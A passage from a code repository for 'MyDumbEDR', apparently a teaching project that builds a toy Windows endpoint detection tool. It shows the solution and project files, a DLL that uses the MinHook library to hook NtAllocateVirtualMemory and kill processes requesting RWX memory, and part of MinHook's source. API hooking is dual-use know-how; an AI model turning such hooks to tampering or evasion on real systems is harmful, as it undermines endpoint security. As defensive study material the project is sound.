├── LICENSE
├── MyDumbEDR.sln
├── MyDumbEDRDLL
├── MyDumbEDRDLL.vcxproj
├── MyDumbEDRDLL.vcxproj.filters
├── MyDumbEDRDLL.vcxproj.user
├── dllmain.cpp
├── framework.h
├── minhook
│ ├── include
│ │ └── MinHook.h
│ └── src
│ │ ├── buffer.c
│ │ ├── buffer.h
│ │ ├── hde
│ │ ├── hde32.c
│ │ ├── hde32.h
│ │ ├── hde64.c
│ │ ├── hde64.h
│ │ ├── pstdint.h
│ │ ├── table32.h
│ │ └── table64.h
│ │ ├── hook.c
│ │ ├── trampoline.c
│ │ └── trampoline.h
├── pch.cpp
└── pch.h
├── MyDumbEDRDriver
├── Driver.c
├── MyDumbEDRDriver.inf
├── MyDumbEDRDriver.vcxproj
├── MyDumbEDRDriver.vcxproj.filters
└── MyDumbEDRDriver.vcxproj.user
├── MyDumbEDRRemoteInjector
├── MyDumbEDRRemoteInjector.cpp
├── MyDumbEDRRemoteInjector.vcxproj
├── MyDumbEDRRemoteInjector.vcxproj.filters
└── MyDumbEDRRemoteInjector.vcxproj.user
├── MyDumbEDRStaticAnalyzer
├── MyDumbEDRStaticAnalyzer.cpp
├── MyDumbEDRStaticAnalyzer.vcxproj
├── MyDumbEDRStaticAnalyzer.vcxproj.filters
└── MyDumbEDRStaticAnalyzer.vcxproj.user
├── README.md
├── ShellcodeInject
├── ShellcodeInject.cpp
├── ShellcodeInject.vcxproj
├── ShellcodeInject.vcxproj.filters
└── ShellcodeInject.vcxproj.user
├── create.bat
└── launch.bat
/MyDumbEDR.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.5.33530.505
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MyDumbEDRDriver", "MyDumbEDRDriver\MyDumbEDRDriver.vcxproj", "{F4BE109F-BB71-4F11-B265-686F0102CFE5}"
7 | EndProject
8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MyDumbEDRRemoteInjector", "MyDumbEDRRemoteInjector\MyDumbEDRRemoteInjector.vcxproj", "{469B8443-9B24-4020-9B2E-0478880A2F5A}"
9 | EndProject
10 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MyDumbEDRStaticAnalyzer", "MyDumbEDRStaticAnalyzer\MyDumbEDRStaticAnalyzer.vcxproj", "{11BADA32-BF65-4F34-B4DD-1D256AD6EF83}"
11 | EndProject
12 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ShellcodeInject", "ShellcodeInject\ShellcodeInject.vcxproj", "{3CA421B8-2E9E-4F19-B178-7C18D592B27C}"
13 | EndProject
14 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MyDumbEDRDLL", "MyDumbEDRDLL\MyDumbEDRDLL.vcxproj", "{1DDD15AA-D837-4143-A272-0E08F9ED6C40}"
15 | EndProject
16 | Global
17 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
18 | Debug|ARM64 = Debug|ARM64
19 | Debug|x64 = Debug|x64
20 | Debug|x86 = Debug|x86
21 | Release|ARM64 = Release|ARM64
22 | Release|x64 = Release|x64
23 | Release|x86 = Release|x86
24 | EndGlobalSection
25 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
26 | {F4BE109F-BB71-4F11-B265-686F0102CFE5}.Debug|ARM64.ActiveCfg = Debug|ARM64
27 | {F4BE109F-BB71-4F11-B265-686F0102CFE5}.Debug|ARM64.Build.0 = Debug|ARM64
28 | {F4BE109F-BB71-4F11-B265-686F0102CFE5}.Debug|ARM64.Deploy.0 = Debug|ARM64
29 | {F4BE109F-BB71-4F11-B265-686F0102CFE5}.Debug|x64.ActiveCfg = Debug|x64
30 | {F4BE109F-BB71-4F11-B265-686F0102CFE5}.Debug|x64.Build.0 = Debug|x64
31 | {F4BE109F-BB71-4F11-B265-686F0102CFE5}.Debug|x86.ActiveCfg = Debug|x64
32 | {F4BE109F-BB71-4F11-B265-686F0102CFE5}.Debug|x86.Build.0 = Debug|x64
33 | {F4BE109F-BB71-4F11-B265-686F0102CFE5}.Debug|x86.Deploy.0 = Debug|x64
34 | {F4BE109F-BB71-4F11-B265-686F0102CFE5}.Release|ARM64.ActiveCfg = Release|ARM64
35 | {F4BE109F-BB71-4F11-B265-686F0102CFE5}.Release|ARM64.Build.0 = Release|ARM64
36 | {F4BE109F-BB71-4F11-B265-686F0102CFE5}.Release|ARM64.Deploy.0 = Release|ARM64
37 | {F4BE109F-BB71-4F11-B265-686F0102CFE5}.Release|x64.ActiveCfg = Release|x64
38 | {F4BE109F-BB71-4F11-B265-686F0102CFE5}.Release|x64.Build.0 = Release|x64
39 | {F4BE109F-BB71-4F11-B265-686F0102CFE5}.Release|x64.Deploy.0 = Release|x64
40 | {F4BE109F-BB71-4F11-B265-686F0102CFE5}.Release|x86.ActiveCfg = Release|x64
41 | {F4BE109F-BB71-4F11-B265-686F0102CFE5}.Release|x86.Build.0 = Release|x64
42 | {F4BE109F-BB71-4F11-B265-686F0102CFE5}.Release|x86.Deploy.0 = Release|x64
43 | {469B8443-9B24-4020-9B2E-0478880A2F5A}.Debug|ARM64.ActiveCfg = Debug|x64
44 | {469B8443-9B24-4020-9B2E-0478880A2F5A}.Debug|ARM64.Build.0 = Debug|x64
45 | {469B8443-9B24-4020-9B2E-0478880A2F5A}.Debug|x64.ActiveCfg = Debug|x64
46 | {469B8443-9B24-4020-9B2E-0478880A2F5A}.Debug|x64.Build.0 = Debug|x64
47 | {469B8443-9B24-4020-9B2E-0478880A2F5A}.Debug|x86.ActiveCfg = Debug|Win32
48 | {469B8443-9B24-4020-9B2E-0478880A2F5A}.Debug|x86.Build.0 = Debug|Win32
49 | {469B8443-9B24-4020-9B2E-0478880A2F5A}.Release|ARM64.ActiveCfg = Release|x64
50 | {469B8443-9B24-4020-9B2E-0478880A2F5A}.Release|ARM64.Build.0 = Release|x64
51 | {469B8443-9B24-4020-9B2E-0478880A2F5A}.Release|x64.ActiveCfg = Release|x64
52 | {469B8443-9B24-4020-9B2E-0478880A2F5A}.Release|x64.Build.0 = Release|x64
53 | {469B8443-9B24-4020-9B2E-0478880A2F5A}.Release|x86.ActiveCfg = Release|Win32
54 | {469B8443-9B24-4020-9B2E-0478880A2F5A}.Release|x86.Build.0 = Release|Win32
55 | {11BADA32-BF65-4F34-B4DD-1D256AD6EF83}.Debug|ARM64.ActiveCfg = Debug|x64
56 | {11BADA32-BF65-4F34-B4DD-1D256AD6EF83}.Debug|ARM64.Build.0 = Debug|x64
57 | {11BADA32-BF65-4F34-B4DD-1D256AD6EF83}.Debug|x64.ActiveCfg = Debug|x64
58 | {11BADA32-BF65-4F34-B4DD-1D256AD6EF83}.Debug|x64.Build.0 = Debug|x64
59 | {11BADA32-BF65-4F34-B4DD-1D256AD6EF83}.Debug|x86.ActiveCfg = Debug|Win32
60 | {11BADA32-BF65-4F34-B4DD-1D256AD6EF83}.Debug|x86.Build.0 = Debug|Win32
61 | {11BADA32-BF65-4F34-B4DD-1D256AD6EF83}.Release|ARM64.ActiveCfg = Release|x64
62 | {11BADA32-BF65-4F34-B4DD-1D256AD6EF83}.Release|ARM64.Build.0 = Release|x64
63 | {11BADA32-BF65-4F34-B4DD-1D256AD6EF83}.Release|x64.ActiveCfg = Release|x64
64 | {11BADA32-BF65-4F34-B4DD-1D256AD6EF83}.Release|x64.Build.0 = Release|x64
65 | {11BADA32-BF65-4F34-B4DD-1D256AD6EF83}.Release|x86.ActiveCfg = Release|Win32
66 | {11BADA32-BF65-4F34-B4DD-1D256AD6EF83}.Release|x86.Build.0 = Release|Win32
67 | {3CA421B8-2E9E-4F19-B178-7C18D592B27C}.Debug|ARM64.ActiveCfg = Debug|x64
68 | {3CA421B8-2E9E-4F19-B178-7C18D592B27C}.Debug|ARM64.Build.0 = Debug|x64
69 | {3CA421B8-2E9E-4F19-B178-7C18D592B27C}.Debug|x64.ActiveCfg = Debug|x64
70 | {3CA421B8-2E9E-4F19-B178-7C18D592B27C}.Debug|x64.Build.0 = Debug|x64
71 | {3CA421B8-2E9E-4F19-B178-7C18D592B27C}.Debug|x86.ActiveCfg = Debug|Win32
72 | {3CA421B8-2E9E-4F19-B178-7C18D592B27C}.Debug|x86.Build.0 = Debug|Win32
73 | {3CA421B8-2E9E-4F19-B178-7C18D592B27C}.Release|ARM64.ActiveCfg = Release|x64
74 | {3CA421B8-2E9E-4F19-B178-7C18D592B27C}.Release|ARM64.Build.0 = Release|x64
75 | {3CA421B8-2E9E-4F19-B178-7C18D592B27C}.Release|x64.ActiveCfg = Release|x64
76 | {3CA421B8-2E9E-4F19-B178-7C18D592B27C}.Release|x64.Build.0 = Release|x64
77 | {3CA421B8-2E9E-4F19-B178-7C18D592B27C}.Release|x86.ActiveCfg = Release|Win32
78 | {3CA421B8-2E9E-4F19-B178-7C18D592B27C}.Release|x86.Build.0 = Release|Win32
79 | {1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Debug|ARM64.ActiveCfg = Debug|x64
80 | {1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Debug|ARM64.Build.0 = Debug|x64
81 | {1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Debug|x64.ActiveCfg = Debug|x64
82 | {1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Debug|x64.Build.0 = Debug|x64
83 | {1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Debug|x86.ActiveCfg = Debug|Win32
84 | {1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Debug|x86.Build.0 = Debug|Win32
85 | {1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Release|ARM64.ActiveCfg = Release|x64
86 | {1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Release|ARM64.Build.0 = Release|x64
87 | {1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Release|x64.ActiveCfg = Release|x64
88 | {1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Release|x64.Build.0 = Release|x64
89 | {1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Release|x86.ActiveCfg = Release|Win32
90 | {1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Release|x86.Build.0 = Release|Win32
91 | EndGlobalSection
92 | GlobalSection(SolutionProperties) = preSolution
93 | HideSolutionNode = FALSE
94 | EndGlobalSection
95 | GlobalSection(ExtensibilityGlobals) = postSolution
96 | SolutionGuid = {F124F28E-B60D-45F2-9F5E-61AD3502B255}
97 | EndGlobalSection
98 | EndGlobal
99 |
--------------------------------------------------------------------------------
/MyDumbEDRDLL/MyDumbEDRDLL.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {1ddd15aa-d837-4143-a272-0e08f9ed6c40}
25 | CylantStrike
26 | 10.0
27 | MyDumbEDRDLL
28 |
29 |
30 |
31 | DynamicLibrary
32 | true
33 | v143
34 | Unicode
35 | false
36 |
37 |
38 | DynamicLibrary
39 | false
40 | v143
41 | true
42 | Unicode
43 | false
44 |
45 |
46 | DynamicLibrary
47 | true
48 | v143
49 | Unicode
50 | false
51 |
52 |
53 | DynamicLibrary
54 | false
55 | v143
56 | true
57 | Unicode
58 | false
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 | true
80 | SylantStrike
81 |
82 |
83 | false
84 | SylantStrike
85 |
86 |
87 | true
88 | MyDumbEDRDLL
89 | true
90 |
91 |
92 | false
93 | SylantStrike
94 |
95 |
96 |
97 | Level3
98 | true
99 | WIN32;_DEBUG;CYLANTSTRIKE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
100 | true
101 | Use
102 | pch.h
103 |
104 |
105 | Windows
106 | true
107 | false
108 |
109 |
110 |
111 |
112 | Level3
113 | true
114 | true
115 | true
116 | WIN32;NDEBUG;CYLANTSTRIKE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
117 | true
118 | Use
119 | pch.h
120 |
121 |
122 | Windows
123 | true
124 | true
125 | true
126 | false
127 |
128 |
129 |
130 |
131 | Level3
132 | true
133 | _DEBUG;CYLANTSTRIKE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
134 | true
135 | Use
136 | pch.h
137 |
138 |
139 | Windows
140 | true
141 | false
142 |
143 |
144 |
145 |
146 | Level3
147 | true
148 | true
149 | true
150 | NDEBUG;CYLANTSTRIKE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
151 | true
152 | Use
153 | pch.h
154 |
155 |
156 | Windows
157 | true
158 | true
159 | true
160 | false
161 |
162 |
163 |
164 |
165 |
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
175 |
176 |
177 | NotUsing
178 | NotUsing
179 | NotUsing
180 | NotUsing
181 |
182 |
183 | NotUsing
184 | NotUsing
185 | NotUsing
186 | NotUsing
187 |
188 |
189 | NotUsing
190 | NotUsing
191 | NotUsing
192 | NotUsing
193 |
194 |
195 | NotUsing
196 | NotUsing
197 | NotUsing
198 | NotUsing
199 |
200 |
201 | NotUsing
202 | NotUsing
203 | NotUsing
204 | NotUsing
205 |
206 |
207 | NotUsing
208 | NotUsing
209 | NotUsing
210 | NotUsing
211 |
212 |
213 | Create
214 | Create
215 | Create
216 | Create
217 |
218 |
219 |
220 |
221 |
222 |
--------------------------------------------------------------------------------
/MyDumbEDRDLL/MyDumbEDRDLL.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Header Files
20 |
21 |
22 | Header Files
23 |
24 |
25 | Header Files
26 |
27 |
28 | Header Files
29 |
30 |
31 | Header Files
32 |
33 |
34 | Header Files
35 |
36 |
37 | Header Files
38 |
39 |
40 | Header Files
41 |
42 |
43 | Header Files
44 |
45 |
46 | Header Files
47 |
48 |
49 |
50 |
51 | Source Files
52 |
53 |
54 | Source Files
55 |
56 |
57 | Source Files
58 |
59 |
60 | Source Files
61 |
62 |
63 | Source Files
64 |
65 |
66 | Source Files
67 |
68 |
69 | Source Files
70 |
71 |
72 |
--------------------------------------------------------------------------------
/MyDumbEDRDLL/MyDumbEDRDLL.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/MyDumbEDRDLL/dllmain.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "minhook/include/MinHook.h"
3 |
4 |
5 | // Defines the prototype of the NtAllocateVirtualMemoryFunction
6 | typedef DWORD(NTAPI* pNtAllocateVirtualMemory)(
7 | HANDLE ProcessHandle,
8 | PVOID* BaseAddress,
9 | ULONG_PTR ZeroBits,
10 | PSIZE_T RegionSize,
11 | ULONG AllocationType,
12 | ULONG Protect
13 | );
14 |
15 | // Pointer to the trampoline function used to call the original NtAllocateVirtualMemory
16 | pNtAllocateVirtualMemory pOriginalNtAllocateVirtualMemory = NULL;
17 |
18 | // This is the function that will be called whenever the injected process calls
19 | // NtAllocateVirtualMemory. This function takes the arguments Protect and checks
20 | // if the requested protection is RWX (which shouldn't happen).
21 | DWORD NTAPI NtAllocateVirtualMemory(
22 | HANDLE ProcessHandle,
23 | PVOID* BaseAddress,
24 | ULONG_PTR ZeroBits,
25 | PSIZE_T RegionSize,
26 | ULONG AllocationType,
27 | ULONG Protect
28 | ) {
29 |
30 | // Checks if the program is trying to allocate some memory and protect it with RWX
31 | if (Protect == PAGE_EXECUTE_READWRITE) {
32 | // If yes, we notify the user and terminate the process
33 | MessageBox(NULL, L"Dude, are you trying to RWX me ?", L"Found u bro", MB_OK);
34 | TerminateProcess(GetCurrentProcess(), 0xdeadb33f);
35 | }
36 |
37 | //If no, we jump on the originate NtAllocateVirtualMemory
38 | return pOriginalNtAllocateVirtualMemory(ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect);
39 | }
40 |
41 | // This function initializes the hooks via the MinHook library
42 | DWORD WINAPI InitHooksThread(LPVOID param) {
43 | if (MH_Initialize() != MH_OK) {
44 | return -1;
45 | }
46 |
47 | // Here we specify which function from wich DLL we want to hook
48 | MH_CreateHookApi(
49 | L"ntdll", // Name of the DLL containing the function to hook
50 | "NtAllocateVirtualMemory", // Name of the function to hook
51 | NtAllocateVirtualMemory, // Address of the function on which to jump when hooking
52 | (LPVOID *)(&pOriginalNtAllocateVirtualMemory) // Address of the original NtAllocateVirtualMemory function
53 | );
54 |
55 | // Enable the hook on NtAllocateVirtualMemory
56 | MH_STATUS status = MH_EnableHook(MH_ALL_HOOKS);
57 | return status;
58 | }
59 |
60 | // Here is the DllMain of our DLL
61 | BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){
62 | switch (ul_reason_for_call){
63 | case DLL_PROCESS_ATTACH: {
64 | // This DLL will not be loaded by any thread so we simply disable DLL_TRHEAD_ATTACH and DLL_THREAD_DETACH
65 | DisableThreadLibraryCalls(hModule);
66 |
67 | // Calling WinAPI32 functions from the DllMain is a very bad practice
68 | // since it can basically lock the program loading the DLL
69 | // Microsoft recommends not using any functions here except a few one like
70 | // CreateThread IF AND ONLY IF there is no need for synchronization
71 | // So basically we are creating a thread that will execute the InitHooksThread function
72 | // thus allowing us hooking the NtAllocateVirtualMemory function
73 | HANDLE hThread = CreateThread(NULL, 0, InitHooksThread, NULL, 0, NULL);
74 | if (hThread != NULL) {
75 | CloseHandle(hThread);
76 | }
77 | break;
78 | }
79 | case DLL_PROCESS_DETACH:
80 | break;
81 | }
82 | return TRUE;
83 | }
--------------------------------------------------------------------------------
/MyDumbEDRDLL/framework.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
4 | // Windows Header Files
5 | #include
6 |
--------------------------------------------------------------------------------
/MyDumbEDRDLL/minhook/include/MinHook.h:
--------------------------------------------------------------------------------
1 | /*
2 | * MinHook - The Minimalistic API Hooking Library for x64/x86
3 | * Copyright (C) 2009-2017 Tsuda Kageyu.
4 | * All rights reserved.
5 | *
6 | * Redistribution and use in source and binary forms, with or without
7 | * modification, are permitted provided that the following conditions
8 | * are met:
9 | *
10 | * 1. Redistributions of source code must retain the above copyright
11 | * notice, this list of conditions and the following disclaimer.
12 | * 2. Redistributions in binary form must reproduce the above copyright
13 | * notice, this list of conditions and the following disclaimer in the
14 | * documentation and/or other materials provided with the distribution.
15 | *
16 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
17 | * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
18 | * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
19 | * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
20 | * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
21 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
22 | * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
23 | * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
24 | * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
25 | * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
26 | * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
27 | */
28 |
29 | #pragma once
30 |
31 | #if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__)
32 | #error MinHook supports only x86 and x64 systems.
33 | #endif
34 |
35 | #include
36 |
37 | // MinHook Error Codes.
38 | typedef enum MH_STATUS
39 | {
40 | // Unknown error. Should not be returned.
41 | MH_UNKNOWN = -1,
42 |
43 | // Successful.
44 | MH_OK = 0,
45 |
46 | // MinHook is already initialized.
47 | MH_ERROR_ALREADY_INITIALIZED,
48 |
49 | // MinHook is not initialized yet, or already uninitialized.
50 | MH_ERROR_NOT_INITIALIZED,
51 |
52 | // The hook for the specified target function is already created.
53 | MH_ERROR_ALREADY_CREATED,
54 |
55 | // The hook for the specified target function is not created yet.
56 | MH_ERROR_NOT_CREATED,
57 |
58 | // The hook for the specified target function is already enabled.
59 | MH_ERROR_ENABLED,
60 |
61 | // The hook for the specified target function is not enabled yet, or already
62 | // disabled.
63 | MH_ERROR_DISABLED,
64 |
65 | // The specified pointer is invalid. It points the address of non-allocated
66 | // and/or non-executable region.
67 | MH_ERROR_NOT_EXECUTABLE,
68 |
69 | // The specified target function cannot be hooked.
70 | MH_ERROR_UNSUPPORTED_FUNCTION,
71 |
72 | // Failed to allocate memory.
73 | MH_ERROR_MEMORY_ALLOC,
74 |
75 | // Failed to change the memory protection.
76 | MH_ERROR_MEMORY_PROTECT,
77 |
78 | // The specified module is not loaded.
79 | MH_ERROR_MODULE_NOT_FOUND,
80 |
81 | // The specified function is not found.
82 | MH_ERROR_FUNCTION_NOT_FOUND
83 | }
84 | MH_STATUS;
85 |
86 | // Can be passed as a parameter to MH_EnableHook, MH_DisableHook,
87 | // MH_QueueEnableHook or MH_QueueDisableHook.
88 | #define MH_ALL_HOOKS NULL
89 |
90 | #ifdef __cplusplus
91 | extern "C" {
92 | #endif
93 |
94 | // Initialize the MinHook library. You must call this function EXACTLY ONCE
95 | // at the beginning of your program.
96 | MH_STATUS WINAPI MH_Initialize(VOID);
97 |
98 | // Uninitialize the MinHook library. You must call this function EXACTLY
99 | // ONCE at the end of your program.
100 | MH_STATUS WINAPI MH_Uninitialize(VOID);
101 |
102 | // Creates a Hook for the specified target function, in disabled state.
103 | // Parameters:
104 | // pTarget [in] A pointer to the target function, which will be
105 | // overridden by the detour function.
106 | // pDetour [in] A pointer to the detour function, which will override
107 | // the target function.
108 | // ppOriginal [out] A pointer to the trampoline function, which will be
109 | // used to call the original target function.
110 | // This parameter can be NULL.
111 | MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal);
112 |
113 | // Creates a Hook for the specified API function, in disabled state.
114 | // Parameters:
115 | // pszModule [in] A pointer to the loaded module name which contains the
116 | // target function.
117 | // pszTarget [in] A pointer to the target function name, which will be
118 | // overridden by the detour function.
119 | // pDetour [in] A pointer to the detour function, which will override
120 | // the target function.
121 | // ppOriginal [out] A pointer to the trampoline function, which will be
122 | // used to call the original target function.
123 | // This parameter can be NULL.
124 | MH_STATUS WINAPI MH_CreateHookApi(
125 | LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal);
126 |
127 | // Creates a Hook for the specified API function, in disabled state.
128 | // Parameters:
129 | // pszModule [in] A pointer to the loaded module name which contains the
130 | // target function.
131 | // pszTarget [in] A pointer to the target function name, which will be
132 | // overridden by the detour function.
133 | // pDetour [in] A pointer to the detour function, which will override
134 | // the target function.
135 | // ppOriginal [out] A pointer to the trampoline function, which will be
136 | // used to call the original target function.
137 | // This parameter can be NULL.
138 | // ppTarget [out] A pointer to the target function, which will be used
139 | // with other functions.
140 | // This parameter can be NULL.
141 | MH_STATUS WINAPI MH_CreateHookApiEx(
142 | LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal, LPVOID *ppTarget);
143 |
144 | // Removes an already created hook.
145 | // Parameters:
146 | // pTarget [in] A pointer to the target function.
147 | MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget);
148 |
149 | // Enables an already created hook.
150 | // Parameters:
151 | // pTarget [in] A pointer to the target function.
152 | // If this parameter is MH_ALL_HOOKS, all created hooks are
153 | // enabled in one go.
154 | MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget);
155 |
156 | // Disables an already created hook.
157 | // Parameters:
158 | // pTarget [in] A pointer to the target function.
159 | // If this parameter is MH_ALL_HOOKS, all created hooks are
160 | // disabled in one go.
161 | MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget);
162 |
163 | // Queues to enable an already created hook.
164 | // Parameters:
165 | // pTarget [in] A pointer to the target function.
166 | // If this parameter is MH_ALL_HOOKS, all created hooks are
167 | // queued to be enabled.
168 | MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget);
169 |
170 | // Queues to disable an already created hook.
171 | // Parameters:
172 | // pTarget [in] A pointer to the target function.
173 | // If this parameter is MH_ALL_HOOKS, all created hooks are
174 | // queued to be disabled.
175 | MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget);
176 |
177 | // Applies all queued changes in one go.
178 | MH_STATUS WINAPI MH_ApplyQueued(VOID);
179 |
180 | // Translates the MH_STATUS to its name as a string.
181 | const char * WINAPI MH_StatusToString(MH_STATUS status);
182 |
183 | #ifdef __cplusplus
184 | }
185 | #endif
186 |
187 |
--------------------------------------------------------------------------------
/MyDumbEDRDLL/minhook/src/buffer.c:
--------------------------------------------------------------------------------
1 | /*
2 | * MinHook - The Minimalistic API Hooking Library for x64/x86
3 | * Copyright (C) 2009-2017 Tsuda Kageyu.
4 | * All rights reserved.
5 | *
6 | * Redistribution and use in source and binary forms, with or without
7 | * modification, are permitted provided that the following conditions
8 | * are met:
9 | *
10 | * 1. Redistributions of source code must retain the above copyright
11 | * notice, this list of conditions and the following disclaimer.
12 | * 2. Redistributions in binary form must reproduce the above copyright
13 | * notice, this list of conditions and the following disclaimer in the
14 | * documentation and/or other materials provided with the distribution.
15 | *
16 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
17 | * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
18 | * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
19 | * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
20 | * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
21 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
22 | * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
23 | * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
24 | * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
25 | * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
26 | * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
27 | */
28 |
29 | #include
30 | #include "buffer.h"
31 |
32 | // Size of each memory block. (= page size of VirtualAlloc)
33 | #define MEMORY_BLOCK_SIZE 0x1000
34 |
35 | // Max range for seeking a memory block. (= 1024MB)
36 | #define MAX_MEMORY_RANGE 0x40000000
37 |
38 | // Memory protection flags to check the executable address.
39 | #define PAGE_EXECUTE_FLAGS \
40 | (PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY)
41 |
42 | // Memory slot.
43 | typedef struct _MEMORY_SLOT
44 | {
45 | union
46 | {
47 | struct _MEMORY_SLOT *pNext;
48 | UINT8 buffer[MEMORY_SLOT_SIZE];
49 | };
50 | } MEMORY_SLOT, *PMEMORY_SLOT;
51 |
52 | // Memory block info. Placed at the head of each block.
53 | typedef struct _MEMORY_BLOCK
54 | {
55 | struct _MEMORY_BLOCK *pNext;
56 | PMEMORY_SLOT pFree; // First element of the free slot list.
57 | UINT usedCount;
58 | } MEMORY_BLOCK, *PMEMORY_BLOCK;
59 |
60 | //-------------------------------------------------------------------------
61 | // Global Variables:
62 | //-------------------------------------------------------------------------
63 |
64 | // First element of the memory block list.
65 | PMEMORY_BLOCK g_pMemoryBlocks;
66 |
67 | //-------------------------------------------------------------------------
68 | VOID InitializeBuffer(VOID)
69 | {
70 | // Nothing to do for now.
71 | }
72 |
73 | //-------------------------------------------------------------------------
74 | VOID UninitializeBuffer(VOID)
75 | {
76 | PMEMORY_BLOCK pBlock = g_pMemoryBlocks;
77 | g_pMemoryBlocks = NULL;
78 |
79 | while (pBlock)
80 | {
81 | PMEMORY_BLOCK pNext = pBlock->pNext;
82 | VirtualFree(pBlock, 0, MEM_RELEASE);
83 | pBlock = pNext;
84 | }
85 | }
86 |
87 | //-------------------------------------------------------------------------
88 | #if defined(_M_X64) || defined(__x86_64__)
89 | static LPVOID FindPrevFreeRegion(LPVOID pAddress, LPVOID pMinAddr, DWORD dwAllocationGranularity)
90 | {
